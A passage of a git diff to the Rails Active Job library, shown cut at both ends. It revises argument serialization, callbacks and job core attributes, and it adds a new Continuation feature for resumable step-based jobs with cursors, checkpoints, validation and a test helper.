         elsif symbol_keys = result.delete(SYMBOL_KEYS_KEY)
           result = transform_symbol_keys(result, symbol_keys)
+        elsif symbol_keys = result.delete(RUBY2_KEYWORDS_KEY)
+          result = transform_symbol_keys(result, symbol_keys)
+          result = Hash.ruby2_keywords_hash(result)
         end
         result
       end
 
-      # :nodoc:
-      RESERVED_KEYS = [
-        GLOBALID_KEY, GLOBALID_KEY.to_sym,
-        SYMBOL_KEYS_KEY, SYMBOL_KEYS_KEY.to_sym,
-        WITH_INDIFFERENT_ACCESS_KEY, WITH_INDIFFERENT_ACCESS_KEY.to_sym,
-      ]
-      private_constant :RESERVED_KEYS
-
       def serialize_hash_key(key)
         case key
-        when *RESERVED_KEYS
+        when RESERVED_KEYS
           raise SerializationError.new("Can't serialize a Hash with reserved key #{key.inspect}")
-        when String, Symbol
-          key.to_s
+        when String
+          key
+        when Symbol
+          key.name
         else
           raise SerializationError.new("Only string and symbol hash keys may be serialized as job arguments, but #{key.inspect} is a #{key.class}")
         end
       end
 
+      def serialize_indifferent_hash(indifferent_hash)
+        result = serialize_hash(indifferent_hash)
+        result[WITH_INDIFFERENT_ACCESS_KEY] = true
+        result
+      end
+
       def transform_symbol_keys(hash, symbol_keys)
-        hash.transform_keys do |key|
+        # NOTE: HashWithIndifferentAccess#transform_keys always
+        # returns stringified keys with indifferent access
+        # so we call #to_h here to ensure keys are symbolized.
+        hash.to_h.transform_keys do |key|
           if symbol_keys.include?(key)
             key.to_sym
           else
@@ -151,4 +195,6 @@ def convert_to_global_id_hash(argument)
           "without an id. (Maybe you forgot to call save?)"
       end
   end
+
+  ActiveSupport.run_load_hooks(:active_job_arguments, Arguments)
 end
diff --git a/activejob/lib/active_job/base.rb b/activejob/lib/active_job/base.rb
index 18e8641e50a13..01d5d25832e70 100644
--- a/activejob/lib/active_job/base.rb
+++ b/activejob/lib/active_job/base.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_job/core"
 require "active_job/queue_adapter"
 require "active_job/queue_name"
@@ -6,11 +8,14 @@
 require "active_job/execution"
 require "active_job/callbacks"
 require "active_job/exceptions"
+require "active_job/log_subscriber"
+require "active_job/structured_event_subscriber"
 require "active_job/logging"
-require "active_job/translation"
+require "active_job/instrumentation"
+require "active_job/execution_state"
 
-module ActiveJob #:nodoc:
-  # = Active Job
+module ActiveJob # :nodoc:
+  # = Active Job \Base
   #
   # Active Job objects can be configured to work with different backend
   # queuing frameworks. To specify a queue adapter to use:
@@ -35,9 +40,9 @@ module ActiveJob #:nodoc:
   #   end
   #
   # Records that are passed in are serialized/deserialized using Global
-  # ID. More information can be found in Arguments.
+  # ID. More information can be found in ActiveJob::Arguments.
   #
-  # To enqueue a job to be performed as soon as the queueing system is free:
+  # To enqueue a job to be performed as soon as the queuing system is free:
   #
   #   ProcessPhotoJob.perform_later(photo)
   #
@@ -45,7 +50,7 @@ module ActiveJob #:nodoc:
   #
   #   ProcessPhotoJob.set(wait_until: Date.tomorrow.noon).perform_later(photo)
   #
-  # More information can be found in ActiveJob::Core::ClassMethods#set
+  # More information can be found in ActiveJob::Core::ClassMethods#set.
   #
   # A job can also be processed immediately without sending to the queue:
   #
@@ -64,8 +69,9 @@ class Base
     include Execution
     include Callbacks
     include Exceptions
+    include Instrumentation
     include Logging
-    include Translation
+    include ExecutionState
 
     ActiveSupport.run_load_hooks(:active_job, self)
   end
diff --git a/activejob/lib/active_job/callbacks.rb b/activejob/lib/active_job/callbacks.rb
index d5b17de8b58f4..8fe8a5205772f 100644
--- a/activejob/lib/active_job/callbacks.rb
+++ b/activejob/lib/active_job/callbacks.rb
@@ -1,10 +1,13 @@
+# frozen_string_literal: true
+
 require "active_support/callbacks"
+require "active_support/core_ext/module/attribute_accessors"
 
 module ActiveJob
-  # = Active Job Callbacks
+  # = Active Job \Callbacks
   #
   # Active Job provides hooks during the life cycle of a job. Callbacks allow you
-  # to trigger logic during the life cycle of a job. Available callbacks are:
+  # to trigger logic during this cycle. Available callbacks are:
   #
   # * <tt>before_enqueue</tt>
   # * <tt>around_enqueue</tt>
@@ -12,7 +15,6 @@ module ActiveJob
   # * <tt>before_perform</tt>
   # * <tt>around_perform</tt>
   # * <tt>after_perform</tt>
-  #
   module Callbacks
     extend  ActiveSupport::Concern
     include ActiveSupport::Callbacks
@@ -23,8 +25,8 @@ class << self
     end
 
     included do
-      define_callbacks :perform
-      define_callbacks :enqueue
+      define_callbacks :perform, skip_after_callbacks_if_terminated: true
+      define_callbacks :enqueue, skip_after_callbacks_if_terminated: true
     end
 
     # These methods will be included into any Active Job object, adding
@@ -84,6 +86,19 @@ def after_perform(*filters, &blk)
       #     end
       #   end
       #
+      # You can access the return value of the job only if the execution wasn't halted.
+      #
+      #   class VideoProcessJob < ActiveJob::Base
+      #     around_perform do |job, block|
+      #       value = block.call
+      #       puts value # => "Hello World!"
+      #     end
+      #
+      #     def perform
+      #       "Hello World!"
+      #     end
+      #   end
+      #
       def around_perform(*filters, &blk)
         set_callback(:perform, :around, *filters, &blk)
       end
@@ -114,7 +129,8 @@ def before_enqueue(*filters, &blk)
       #     queue_as :default
       #
       #     after_enqueue do |job|
-      #       $statsd.increment "enqueue-video-job.success"
+      #       result = job.successfully_enqueued? ? "success" : "failure"
+      #       $statsd.increment "enqueue-video-job.#{result}"
       #     end
       #
       #     def perform(video_id)
@@ -126,7 +142,7 @@ def after_enqueue(*filters, &blk)
         set_callback(:enqueue, :after, *filters, &blk)
       end
 
-      # Defines a callback that will get called around the enqueueing
+      # Defines a callback that will get called around the enqueuing
       # of the job.
       #
       #   class VideoProcessJob < ActiveJob::Base
diff --git a/activejob/lib/active_job/configured_job.rb b/activejob/lib/active_job/configured_job.rb
index 2ff31f2dae3c3..66059d82e8c56 100644
--- a/activejob/lib/active_job/configured_job.rb
+++ b/activejob/lib/active_job/configured_job.rb
@@ -1,16 +1,23 @@
+# frozen_string_literal: true
+
 module ActiveJob
-  class ConfiguredJob #:nodoc:
+  class ConfiguredJob # :nodoc:
     def initialize(job_class, options = {})
       @options = options
       @job_class = job_class
     end
 
-    def perform_now(*args)
-      @job_class.new(*args).perform_now
+    def perform_now(...)
+      @job_class.new(...).set(@options).perform_now
     end
 
-    def perform_later(*args)
-      @job_class.new(*args).enqueue @options
+    def perform_later(...)
+      job = @job_class.new(...)
+      enqueue_result = job.enqueue(@options)
+
+      yield job if block_given?
+
+      enqueue_result
     end
   end
 end
diff --git a/activejob/lib/active_job/continuable.rb b/activejob/lib/active_job/continuable.rb
new file mode 100644
index 0000000000000..2d25b751506ec
--- /dev/null
+++ b/activejob/lib/active_job/continuable.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  # = Active Job Continuable
+  #
+  # The Continuable module provides the ability to track the progress of your
+  # jobs, and continue from where they left off if interrupted.
+  #
+  # Mix ActiveJob::Continuable into your job to enable continuations.
+  #
+  # See {ActiveJob::Continuation}[rdoc-ref:ActiveJob::Continuation] for usage.
+  #
+  module Continuable
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :max_resumptions, instance_writer: false
+      class_attribute :resume_options, instance_writer: false, default: { wait: 5.seconds }
+      class_attribute :resume_errors_after_advancing, instance_writer: false, default: true
+
+      around_perform :continue
+
+      def initialize(...)
+        super(...)
+        self.resumptions = 0
+        self.continuation = Continuation.new(self, {})
+      end
+    end
+
+    # The number of times the job has been resumed.
+    attr_accessor :resumptions
+
+    attr_accessor :continuation # :nodoc:
+
+    # Start a new continuation step
+    def step(step_name, start: nil, isolated: false, &block)
+      unless block_given?
+        step_method = method(step_name)
+
+        raise ArgumentError, "Step method '#{step_name}' must accept 0 or 1 arguments" if step_method.arity > 1
+
+        if step_method.parameters.any? { |type, name| type == :key || type == :keyreq }
+          raise ArgumentError, "Step method '#{step_name}' must not accept keyword arguments"
+        end
+
+        block = step_method.arity == 0 ? -> (_) { step_method.call } : step_method
+      end
+      checkpoint! if continuation.advanced?
+      continuation.step(step_name, start: start, isolated: isolated, &block)
+    end
+
+    def serialize # :nodoc:
+      super.merge("continuation" => continuation.to_h, "resumptions" => resumptions)
+    end
+
+    def deserialize(job_data) # :nodoc:
+      super
+      self.continuation = Continuation.new(self, job_data.fetch("continuation", {}))
+      self.resumptions = job_data.fetch("resumptions", 0)
+    end
+
+    def checkpoint! # :nodoc:
+      interrupt!(reason: :stopping) if queue_adapter.stopping?
+    end
+
+    def interrupt!(reason:) # :nodoc:
+      instrument :interrupt, reason: reason, **continuation.instrumentation
+      raise Continuation::Interrupt, "Interrupted #{continuation.description} (#{reason})"
+    end
+
+    private
+      def continue(&block)
+        if continuation.started?
+          self.resumptions += 1
+          instrument :resume, **continuation.instrumentation
+        end
+
+        block.call
+      rescue Continuation::Interrupt => e
+        resume_job(e)
+      rescue Continuation::Error
+        raise
+      rescue StandardError => e
+        if resume_errors_after_advancing? && continuation.advanced?
+          resume_job(exception: e)
+        else
+          raise
+        end
+      end
+
+      def resume_job(exception) # :nodoc:
+        executions_for(exception)
+        if max_resumptions.nil? || resumptions < max_resumptions
+          retry_job(**self.resume_options)
+        else
+          raise Continuation::ResumeLimitError, "Job was resumed a maximum of #{max_resumptions} times"
+        end
+      end
+  end
+
+  ActiveSupport.run_load_hooks(:active_job_continuable, Continuable)
+end
diff --git a/activejob/lib/active_job/continuation.rb b/activejob/lib/active_job/continuation.rb
new file mode 100644
index 0000000000000..81b6520e83d87
--- /dev/null
+++ b/activejob/lib/active_job/continuation.rb
@@ -0,0 +1,332 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/numeric/time"
+require "active_job/continuable"
+
+module ActiveJob
+  # = Active Job \Continuation
+  #
+  # Continuations provide a mechanism for interrupting and resuming jobs. This allows
+  # long-running jobs to make progress across application restarts.
+  #
+  # Jobs should include the ActiveJob::Continuable module to enable continuations.
+  # \Continuable jobs are automatically retried when interrupted.
+  #
+  # Use the +step+ method to define the steps in your job. Steps can use an optional
+  # cursor to track progress in the step.
+  #
+  # Steps are executed as soon as they are encountered. If a job is interrupted, previously
+  # completed steps will be skipped. If a step is in progress, it will be resumed
+  # with the last recorded cursor.
+  #
+  # Code that is not part of a step will be executed on each job run.
+  #
+  # You can pass a block or a method name to the step method. The block will be called with
+  # the step object as an argument. Methods can either take no arguments or a single argument
+  # for the step object.
+  #
+  #   class ProcessImportJob < ApplicationJob
+  #     include ActiveJob::Continuable
+  #
+  #     def perform(import_id)
+  #       # This always runs, even if the job is resumed.
+  #       @import = Import.find(import_id)
+  #
+  #       step :validate do
+  #         @import.validate!
+  #       end
+  #
+  #       step(:process_records) do |step|
+  #         @import.records.find_each(start: step.cursor) do |record|
+  #           record.process
+  #           step.advance! from: record.id
+  #         end
+  #       end
+  #
+  #       step :reprocess_records
+  #       step :finalize
+  #     end
+  #
+  #     def reprocess_records(step)
+  #       @import.records.find_each(start: step.cursor) do |record|
+  #         record.reprocess
+  #         step.advance! from: record.id
+  #       end
+  #     end
+  #
+  #     def finalize
+  #       @import.finalize!
+  #     end
+  #   end
+  #
+  # === Cursors
+  #
+  # Cursors are used to track progress within a step. The cursor can be any object that is
+  # serializable as an argument to +ActiveJob::Base.serialize+. It defaults to +nil+.
+  #
+  # When a step is resumed, the last cursor value is restored. The code in the step is responsible
+  # for using the cursor to continue from the right point.
+  #
+  # +set!+ sets the cursor to a specific value.
+  #
+  #   step :iterate_items do |step|
+  #     items[step.cursor..].each do |item|
+  #       process(item)
+  #       step.set! (step.cursor || 0) + 1
+  #     end
+  #   end
+  #
+  # An starting value for the cursor can be set when defining the step:
+  #
+  #   step :iterate_items, start: 0 do |step|
+  #     items[step.cursor..].each do |item|
+  #       process(item)
+  #       step.set! step.cursor + 1
+  #     end
+  #   end
+  #
+  # The cursor can be advanced with +advance!+. This calls +succ+ on the current cursor value.
+  # It raises an ActiveJob::Continuation::UnadvanceableCursorError if the cursor does not implement +succ+.
+  #
+  #   step :iterate_items, start: 0 do |step|
+  #     items[step.cursor..].each do |item|
+  #       process(item)
+  #       step.advance!
+  #     end
+  #   end
+  #
+  # You can optionally pass a +from+ argument to +advance!+. This is useful when iterating
+  # over a collection of records where IDs may not be contiguous.
+  #
+  #   step :process_records do |step|
+  #     import.records.find_each(start: step.cursor) do |record|
+  #       record.process
+  #       step.advance! from: record.id
+  #     end
+  #   end
+  #
+  # You can use an array to iterate over nested records:
+  #
+  #   step :process_nested_records, start: [ 0, 0 ] do |step|
+  #     Account.find_each(start: step.cursor[0]) do |account|
+  #       account.records.find_each(start: step.cursor[1]) do |record|
+  #         record.process
+  #         step.set! [ account.id, record.id + 1 ]
+  #       end
+  #       step.set! [ account.id + 1, 0 ]
+  #     end
+  #   end
+  #
+  # Setting or advancing the cursor creates a checkpoint. You can also create a checkpoint
+  # manually by calling the +checkpoint!+ method on the step. This is useful if you want to
+  # allow interruptions, but don't need to update the cursor.
+  #
+  #   step :destroy_records do |step|
+  #     import.records.find_each do |record|
+  #       record.destroy!
+  #       step.checkpoint!
+  #     end
+  #   end
+  #
+  # === Checkpoints
+  #
+  # A checkpoint is where a job can be interrupted. At a checkpoint the job will call
+  # +queue_adapter.stopping?+. If it returns true, the job will raise an
+  # ActiveJob::Continuation::Interrupt exception.
+  #
+  # There is an automatic checkpoint before the start of each step except for the first for
+  # each job execution. Within a step one is created when calling +set!+, +advance!+ or +checkpoint!+.
+  #
+  # Jobs are not automatically interrupted when the queue adapter is marked as stopping - they
+  # will continue to run either until the next checkpoint, or when the process is stopped.
+  #
+  # This is to allow jobs to be interrupted at a safe point, but it also means that the jobs
+  # should checkpoint more frequently than the shutdown timeout to ensure a graceful restart.
+  #
+  # When interrupted, the job will automatically retry with the progress serialized
+  # in the job data under the +continuation+ key.
+  #
+  # The serialized progress contains:
+  # - a list of the completed steps
+  # - the current step and its cursor value (if one is in progress)
+  #
+  # === Isolated Steps
+  #
+  # Steps run sequentially in a single job execution, unless the job is interrupted.
+  #
+  # You can specify that a step should always run in its own execution by passing the +isolated: true+ option.
+  #
+  # This is useful for long-running steps where it may not be possible to checkpoint within
+  # the job grace period - it ensures that progress is serialized back into the job data before
+  # the step starts.
+  #
+  #   step :quick_step1
+  #   step :slow_step, isolated: true
+  #   step :quick_step2
+  #   step :quick_step3
+  #
+  # === Errors
+  #
+  # If a job raises an error and is not retried via Active Job, it will be passed back to the underlying
+  # queue backend and any progress in this execution will be lost.
+  #
+  # To mitigate this, the job will be automatically retried if it raises an error after it has made progress.
+  # Making progress is defined as having completed a step or advanced the cursor within the current step.
+  #
+  # === Configuration
+  #
+  # Continuable jobs have several configuration options:
+  # * <tt>:max_resumptions</tt> - The maximum number of times a job can be resumed. Defaults to +nil+ which means
+  #   unlimited resumptions.
+  # * <tt>:resume_options</tt> - Options to pass to +retry_job+ when resuming the job.
+  #   Defaults to <tt>{ wait: 5.seconds }</tt>.
+  #   See {ActiveJob::Exceptions#retry_job}[rdoc-ref:ActiveJob::Exceptions#retry_job] for available options.
+  # * <tt>:resume_errors_after_advancing</tt> - Whether to resume errors after advancing the continuation.
+  #   Defaults to +true+.
+  class Continuation
+    extend ActiveSupport::Autoload
+
+    autoload :Validation
+
+    # Raised when a job is interrupted, allowing Active Job to requeue it.
+    # This inherits from +Exception+ rather than +StandardError+, so it's not
+    # caught by normal exception handling.
+    class Interrupt < Exception; end
+
+    # Base class for all Continuation errors.
+    class Error < StandardError; end
+
+    # Raised when a step is invalid.
+    class InvalidStepError < Error; end
+
+    # Raised when there is an error with a checkpoint, such as open database transactions.
+    class CheckpointError < Error; end
+
+    # Raised when attempting to advance a cursor that doesn't implement `succ`.
+    class UnadvanceableCursorError < Error; end
+
+    # Raised when a job has reached its limit of the number of resumes.
+    # The limit is defined by the +max_resumes+ class attribute.
+    class ResumeLimitError < Error; end
+
+    include Validation
+
+    def initialize(job, serialized_progress) # :nodoc:
+      @job = job
+      @completed = serialized_progress.fetch("completed", []).map(&:to_sym)
+      @current = new_step(*serialized_progress["current"], resumed: true) if serialized_progress.key?("current")
+      @encountered = []
+      @advanced = false
+      @running_step = false
+      @isolating = false
+    end
+
+    def step(name, **options, &block) # :nodoc:
+      validate_step!(name)
+      encountered << name
+
+      if completed?(name)
+        skip_step(name)
+      else
+        run_step(name, **options, &block)
+      end
+    end
+
+    def to_h # :nodoc:
+      {
+        "completed" => completed.map(&:to_s),
+        "current" => current&.to_a,
+      }.compact
+    end
+
+    def description # :nodoc:
+      if current
+        current.description
+      elsif completed.any?
+        "after '#{completed.last}'"
+      else
+        "not started"
+      end
+    end
+
+    def started?
+      completed.any? || current.present?
+    end
+
+    def advanced?
+      @advanced
+    end
+
+    def instrumentation
+      { description: description,
+        completed_steps: completed,
+        current_step: current }
+    end
+
+    private
+      attr_reader :job, :encountered, :completed, :current
+
+      def running_step?
+        @running_step
+      end
+
+      def isolating?
+        @isolating
+      end
+
+      def completed?(name)
+        completed.include?(name)
+      end
+
+      def new_step(*args, **options)
+        Step.new(*args, job: job, **options)
+      end
+
+      def skip_step(name)
+        instrument :step_skipped, step: name
+      end
+
+      def run_step(name, start:, isolated:, &block)
+        @isolating ||= isolated
+
+        if isolating? && advanced?
+          job.interrupt!(reason: :isolating)
+        else
+          run_step_inline(name, start: start, &block)
+        end
+      end
+
+      def run_step_inline(name, start:, **options, &block)
+        @running_step = true
+        @current ||= new_step(name, start, resumed: false)
+
+        instrumenting_step(current) do
+          block.call(current)
+        end
+
+        @completed << current.name
+        @current = nil
+        @advanced = true
+      ensure
+        @running_step = false
+        @advanced ||= current&.advanced?
+      end
+
+      def instrumenting_step(step, &block)
+        instrument :step, step: step, interrupted: false do |payload|
+          instrument :step_started, step: step
+
+          block.call
+        rescue Interrupt
+          payload[:interrupted] = true
+          raise
+        end
+      end
+
+      def instrument(...)
+        job.instrument(...)
+      end
+  end
+end
+
+require "active_job/continuation/step"
diff --git a/activejob/lib/active_job/continuation/step.rb b/activejob/lib/active_job/continuation/step.rb
new file mode 100644
index 0000000000000..53cad508a895a
--- /dev/null
+++ b/activejob/lib/active_job/continuation/step.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  class Continuation
+    # = Active Job Continuation Step
+    #
+    # Represents a step within a continuable job.
+    #
+    # When a step is completed, it is recorded in the job's continuation state.
+    # If the job is interrupted, it will be resumed from after the last completed step.
+    #
+    # Steps also have an optional cursor that can be used to track progress within the step.
+    # If a job is interrupted during a step, the cursor will be saved and passed back when
+    # the job is resumed.
+    #
+    # It is the responsibility of the code in the step to use the cursor correctly to resume
+    # from where it left off.
+    class Step
+      # The name of the step.
+      attr_reader :name
+
+      # The cursor for the step.
+      attr_reader :cursor
+
+      def initialize(name, cursor, job:, resumed:)
+        @name = name.to_sym
+        @initial_cursor = cursor
+        @cursor = cursor
+        @resumed = resumed
+        @job = job
+      end
+
+      # Check if the job should be interrupted, and if so raise an Interrupt exception.
+      # The job will be requeued for retry.
+      def checkpoint!
+        job.checkpoint!
+      end
+
+      # Set the cursor and interrupt the job if necessary.
+      def set!(cursor)
+        @cursor = cursor
+        checkpoint!
+      end
+
+      # Advance the cursor from the current or supplied value
+      #
+      # The cursor will be advanced by calling the +succ+ method on the cursor.
+      # An UnadvanceableCursorError error will be raised if the cursor does not implement +succ+.
+      def advance!(from: nil)
+        from = cursor if from.nil?
+
+        begin
+          to = from.succ
+        rescue NoMethodError
+          raise UnadvanceableCursorError, "Cursor class '#{from.class}' does not implement 'succ'"
+        end
+
+        set! to
+      end
+
+      # Has this step been resumed from a previous job execution?
+      def resumed?
+        @resumed
+      end
+
+      # Has the cursor been advanced during this job execution?
+      def advanced?
+        initial_cursor != cursor
+      end
+
+      def to_a
+        [ name.to_s, cursor ]
+      end
+
+      def description
+        "at '#{name}', cursor '#{cursor.inspect}'"
+      end
+
+      private
+        attr_reader :initial_cursor, :job
+    end
+  end
+end
diff --git a/activejob/lib/active_job/continuation/test_helper.rb b/activejob/lib/active_job/continuation/test_helper.rb
new file mode 100644
index 0000000000000..2e7a06fda76e8
--- /dev/null
+++ b/activejob/lib/active_job/continuation/test_helper.rb
@@ -0,0 +1,89 @@
+# frozen_string_literal: true
+
+require "active_job/test_helper"
+require "active_job/continuation"
+
+module ActiveJob
+  class Continuation
+    # Test helper for ActiveJob::Continuable jobs.
+    #
+    module TestHelper
+      include ::ActiveJob::TestHelper
+
+      # Interrupt a job during a step.
+      #
+      #  class MyJob < ApplicationJob
+      #    include ActiveJob::Continuable
+      #
+      #    cattr_accessor :items, default: []
+      #    def perform
+      #      step :my_step, start: 1 do |step|
+      #        (step.cursor..10).each do |i|
+      #          items << i
+      #          step.advance!
+      #        end
+      #      end
+      #    end
+      #  end
+      #
+      #  test "interrupt job during step" do
+      #    MyJob.perform_later
+      #    interrupt_job_during_step(MyJob, :my_step, cursor: 6) { perform_enqueued_jobs }
+      #    assert_equal [1, 2, 3, 4, 5], MyJob.items
+      #    perform_enqueued_jobs
+      #    assert_equal [1, 2, 3, 4, 5, 6, 7, 8, 9, 10], MyJob.items
+      #  end
+      def interrupt_job_during_step(job, step, cursor: nil, &block)
+        require_active_job_test_adapter!("interrupt_job_during_step")
+        queue_adapter.with(stopping: ->() { during_step?(job, step, cursor: cursor) }, &block)
+      end
+
+      # Interrupt a job after a step.
+      #
+      # Note that there's no checkpoint after the final step so it won't be interrupted.
+      #
+      #  class MyJob < ApplicationJob
+      #    include ActiveJob::Continuable
+      #
+      #    cattr_accessor :items, default: []
+      #
+      #    def perform
+      #      step :step_one { items << 1 }
+      #      step :step_two { items << 2 }
+      #      step :step_three { items << 3 }
+      #      step :step_four { items << 4 }
+      #    end
+      #  end
+      #
+      #  test "interrupt job after step" do
+      #    MyJob.perform_later
+      #    interrupt_job_after_step(MyJob, :step_two) { perform_enqueued_jobs }
+      #    assert_equal [1, 2], MyJob.items
+      #    perform_enqueued_jobs
+      #    assert_equal [1, 2, 3, 4], MyJob.items
+      #  end
+      def interrupt_job_after_step(job, step, &block)
+        require_active_job_test_adapter!("interrupt_job_after_step")
+        queue_adapter.with(stopping: ->() { after_step?(job, step) }, &block)
+      end
+
+      private
+        def continuation_for(klass)
+          job = ActiveSupport::ExecutionContext.to_h[:job]
+          job.send(:continuation)&.to_h if job && job.is_a?(klass)
+        end
+
+        def during_step?(job, step, cursor: nil)
+          if (continuation = continuation_for(job))
+            continuation["current"] == [ step.to_s, cursor ]
+          end
+        end
+
+        def after_step?(job, step)
+          if (continuation = continuation_for(job))
+            continuation["completed"].last == step.to_s && continuation["current"].nil?
+          end
+        end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/continuation/validation.rb b/activejob/lib/active_job/continuation/validation.rb
new file mode 100644
index 0000000000000..50162bdd14bf5
--- /dev/null
+++ b/activejob/lib/active_job/continuation/validation.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  class Continuation
+    module Validation # :nodoc:
+      private
+        def validate_step!(name)
+          validate_step_symbol!(name)
+          validate_step_not_encountered!(name)
+          validate_step_not_nested!(name)
+          validate_step_resume_expected!(name)
+          validate_step_expected_order!(name)
+        end
+
+        def validate_step_symbol!(name)
+          unless name.is_a?(Symbol)
+            raise_step_error! "Step '#{name}' must be a Symbol, found '#{name.class}'"
+          end
+        end
+
+        def validate_step_not_encountered!(name)
+          if encountered.include?(name)
+            raise_step_error! "Step '#{name}' has already been encountered"
+          end
+        end
+
+        def validate_step_not_nested!(name)
+          if running_step?
+            raise_step_error! "Step '#{name}' is nested inside step '#{current.name}'"
+          end
+        end
+
+        def validate_step_resume_expected!(name)
+          if current && current.name != name && !completed?(name)
+            raise_step_error! "Step '#{name}' found, expected to resume from '#{current.name}'"
+          end
+        end
+
+        def validate_step_expected_order!(name)
+          if completed.size > encountered.size && completed[encountered.size] != name
+            raise_step_error! "Step '#{name}' found, expected to see '#{completed[encountered.size]}'"
+          end
+        end
+
+        def raise_step_error!(message)
+          raise InvalidStepError, message
+        end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/core.rb b/activejob/lib/active_job/core.rb
index 548ec89ee2040..7a3af403f5be7 100644
--- a/activejob/lib/active_job/core.rb
+++ b/activejob/lib/active_job/core.rb
@@ -1,42 +1,76 @@
+# frozen_string_literal: true
+
 module ActiveJob
+  # Raised during job payload deserialization when it references an uninitialized job class.
+  class UnknownJobClassError < NameError
+    def initialize(job_class_name)
+      super("Failed to instantiate job, class `#{job_class_name}` doesn't exist", job_class_name)
+    end
+  end
+
+  # = Active Job \Core
+  #
   # Provides general behavior that will be included into every Active Job
   # object that inherits from ActiveJob::Base.
   module Core
     extend ActiveSupport::Concern
 
-    included do
-      # Job arguments
-      attr_accessor :arguments
-      attr_writer :serialized_arguments
+    # Job arguments
+    attr_accessor :arguments
+    attr_writer :serialized_arguments
+
+    # Time when the job should be performed
+    attr_accessor :scheduled_at
+
+    # Job Identifier
+    attr_accessor :job_id
+
+    # Queue in which the job will reside.
+    attr_writer :queue_name
 
-      # Timestamp when the job should be performed
-      attr_accessor :scheduled_at
+    # Priority that the job will have (lower is more priority).
+    attr_writer :priority
 
-      # Job Identifier
-      attr_accessor :job_id
+    # ID optionally provided by adapter
+    attr_accessor :provider_job_id
 
-      # Queue in which the job will reside.
-      attr_writer :queue_name
+    # Number of times this job has been executed (which increments on every retry, like after an exception).
+    attr_accessor :executions
 
-      # Priority that the job will have (lower is more priority).
-      attr_writer :priority
+    # Hash that contains the number of times this job handled errors for each specific retry_on declaration.
+    # Keys are the string representation of the exceptions listed in the retry_on declaration,
+    # while its associated value holds the number of executions where the corresponding retry_on
+    # declaration handled one of its listed exceptions.
+    attr_accessor :exception_executions
 
-      # ID optionally provided by adapter
-      attr_accessor :provider_job_id
+    # I18n.locale to be used during the job.
+    attr_accessor :locale
 
-      # Number of times this job has been executed (which increments on every retry, like after an exception).
-      attr_accessor :executions
+    # Timezone to be used during the job.
+    attr_accessor :timezone
 
-      # I18n.locale to be used during the job.
-      attr_accessor :locale
+    # Track when a job was enqueued
+    attr_accessor :enqueued_at
+
+    # Track whether the adapter received the job successfully.
+    attr_writer :successfully_enqueued # :nodoc:
+
+    def successfully_enqueued?
+      @successfully_enqueued
     end
 
+    # Track any exceptions raised by the backend so callers can inspect the errors.
+    attr_accessor :enqueue_error
+
     # These methods will be included into any Active Job object, adding
     # helpers for de/serialization and creation of job instances.
     module ClassMethods
       # Creates a new job instance from a hash created with +serialize+
       def deserialize(job_data)
-        job = job_data["job_class"].constantize.new
+        job_class = job_data["job_class"].safe_constantize
+        raise UnknownJobClassError, job_data["job_class"] unless job_class
+
+        job = job_class.new
         job.deserialize(job_data)
         job
       end
@@ -70,21 +104,30 @@ def initialize(*arguments)
       @arguments  = arguments
       @job_id     = SecureRandom.uuid
       @queue_name = self.class.queue_name
+      @scheduled_at = nil
       @priority   = self.class.priority
       @executions = 0
+      @exception_executions = {}
+      @timezone   = Time.zone&.name
     end
+    ruby2_keywords(:initialize)
 
     # Returns a hash with the job data that can safely be passed to the
-    # queueing adapter.
+    # queuing adapter.
     def serialize
       {
         "job_class"  => self.class.name,
         "job_id"     => job_id,
+        "provider_job_id" => provider_job_id,
         "queue_name" => queue_name,
         "priority"   => priority,
-        "arguments"  => serialize_arguments(arguments),
+        "arguments"  => serialize_arguments_if_needed(arguments),
         "executions" => executions,
-        "locale"     => I18n.locale.to_s
+        "exception_executions" => exception_executions,
+        "locale"     => locale || I18n.locale.to_s,
+        "timezone"   => timezone,
+        "enqueued_at" => Time.now.utc.iso8601(9),
+        "scheduled_at" => scheduled_at ? scheduled_at.utc.iso8601(9) : nil,
       }
     end
 
@@ -94,17 +137,23 @@ def serialize
     # ==== Examples
     #
     #    class DeliverWebhookJob < ActiveJob::Base
+    #      attr_writer :attempt_number
+    #
+    #      def attempt_number
+    #        @attempt_number ||= 0
+    #      end
+    #
     #      def serialize
-    #        super.merge('attempt_number' => (@attempt_number || 0) + 1)
+    #        super.merge('attempt_number' => attempt_number + 1)
     #      end
     #
     #      def deserialize(job_data)
     #        super
-    #        @attempt_number = job_data['attempt_number']
+    #        self.attempt_number = job_data['attempt_number']
     #      end
     #
-    #      rescue_from(TimeoutError) do |exception|
-    #        raise exception if @attempt_number > 5
+    #      rescue_from(Timeout::Error) do |exception|
+    #        raise exception if attempt_number > 5
     #        retry_job(wait: 10)
     #      end
     #    end
@@ -115,23 +164,57 @@ def deserialize(job_data)
       self.priority             = job_data["priority"]
       self.serialized_arguments = job_data["arguments"]
       self.executions           = job_data["executions"]
+      self.exception_executions = job_data["exception_executions"]
       self.locale               = job_data["locale"] || I18n.locale.to_s
+      self.timezone             = job_data["timezone"] || Time.zone&.name
+      self.enqueued_at          = deserialize_time(job_data["enqueued_at"]) if job_data["enqueued_at"]
+      self.scheduled_at         = deserialize_time(job_data["scheduled_at"]) if job_data["scheduled_at"]
+    end
+
+    # Configures the job with the given options.
+    def set(options = {}) # :nodoc:
+      self.scheduled_at = options[:wait].seconds.from_now if options[:wait]
+      self.scheduled_at = options[:wait_until] if options[:wait_until]
+      self.queue_name   = self.class.queue_name_from_part(options[:queue]) if options[:queue]
+      self.priority     = options[:priority].to_i if options[:priority]
+
+      self
     end
 
     private
+      def serialize_arguments_if_needed(arguments)
+        if arguments_serialized?
+          @serialized_arguments
+        else
+          serialize_arguments(arguments)
+        end
+      end
+
       def deserialize_arguments_if_needed
-        if defined?(@serialized_arguments) && @serialized_arguments.present?
+        if arguments_serialized?
           @arguments = deserialize_arguments(@serialized_arguments)
           @serialized_arguments = nil
         end
       end
 
-      def serialize_arguments(serialized_args)
-        Arguments.serialize(serialized_args)
+      def serialize_arguments(arguments)
+        Arguments.serialize(arguments)
       end
 
       def deserialize_arguments(serialized_args)
         Arguments.deserialize(serialized_args)
       end
+
